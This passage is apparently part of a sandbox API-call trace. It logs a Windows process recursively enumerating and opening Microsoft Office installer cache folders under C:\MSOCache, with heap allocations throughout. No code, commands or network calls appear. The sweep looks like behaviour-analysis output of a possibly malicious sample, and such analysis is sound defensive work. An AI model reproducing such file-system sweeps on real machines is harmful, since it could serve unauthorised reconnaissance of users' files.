Flags=0x8, Size=0x80) returned 0xf7f258 [0036.209] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85fa8 [0036.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf86998 [0036.209] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.209] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0036.209] GetLastError () returned 0x12 [0036.209] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60e6b0 [0036.210] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0036.210] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.210] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0036.210] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0036.210] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0036.210] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0036.210] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0036.210] GetLastError () returned 0x12 [0036.210] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf86470) returned 1 [0036.210] FindClose (in: hFindFile=0x60e6b0 | out: hFindFile=0x60e6b0) returned 1 [0036.210] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf86578) returned 1 [0036.210] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf85a58) returned 1 [0036.210] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.210] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.210] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0036.252] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0036.252] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0036.252] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0036.252] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0036.252] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0036.252] NtClose (Handle=0x184) returned 0x0 [0036.253] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.253] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.253] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0036.253] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf85a58 [0036.253] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.253] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf86470 [0036.253] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60b670 [0036.299] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.299] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="")) returned 1 [0036.299] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.299] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.299] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.299] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.299] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.299] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf86578 [0036.299] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0036.299] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85fc8 [0036.299] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf86aa0 [0036.299] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.299] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="")) returned 1 [0036.299] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.299] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.299] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.299] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.299] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.299] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85fe8 [0036.299] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf86ba8 [0036.299] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.299] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0036.299] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.300] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.300] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.300] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.300] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.300] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86008 [0036.300] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf86cb0 [0036.300] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.300] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0036.300] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.300] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.300] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.300] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.300] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.300] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86028 [0036.300] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf86db8 [0036.300] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.300] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0036.300] GetLastError () returned 0x12 [0036.300] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60e6b0 [0036.300] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0036.300] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.300] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="")) returned 1 [0036.300] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="")) returned 1 [0036.300] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0036.300] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0036.300] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0036.300] GetLastError () returned 0x12 [0036.300] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf86470) returned 1 [0036.300] FindClose (in: hFindFile=0x60e6b0 | out: hFindFile=0x60e6b0) returned 1 [0036.301] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf86578) returned 1 [0036.301] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf85a58) returned 1 [0036.301] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.301] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.301] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0036.346] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0036.346] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0036.346] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0036.346] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0036.346] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0036.346] NtClose (Handle=0x180) returned 0x0 [0036.346] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.346] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.346] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0036.346] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf85a58 [0036.346] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.346] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf86470 [0036.346] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60b670 [0036.413] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.413] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="")) returned 1 [0036.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf86578 [0036.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0036.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86048 [0036.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf86ec0 [0036.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.413] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="")) returned 1 [0036.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86068 [0036.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf86fc8 [0036.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf870d0 [0036.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf85990) returned 1 [0036.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.414] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, 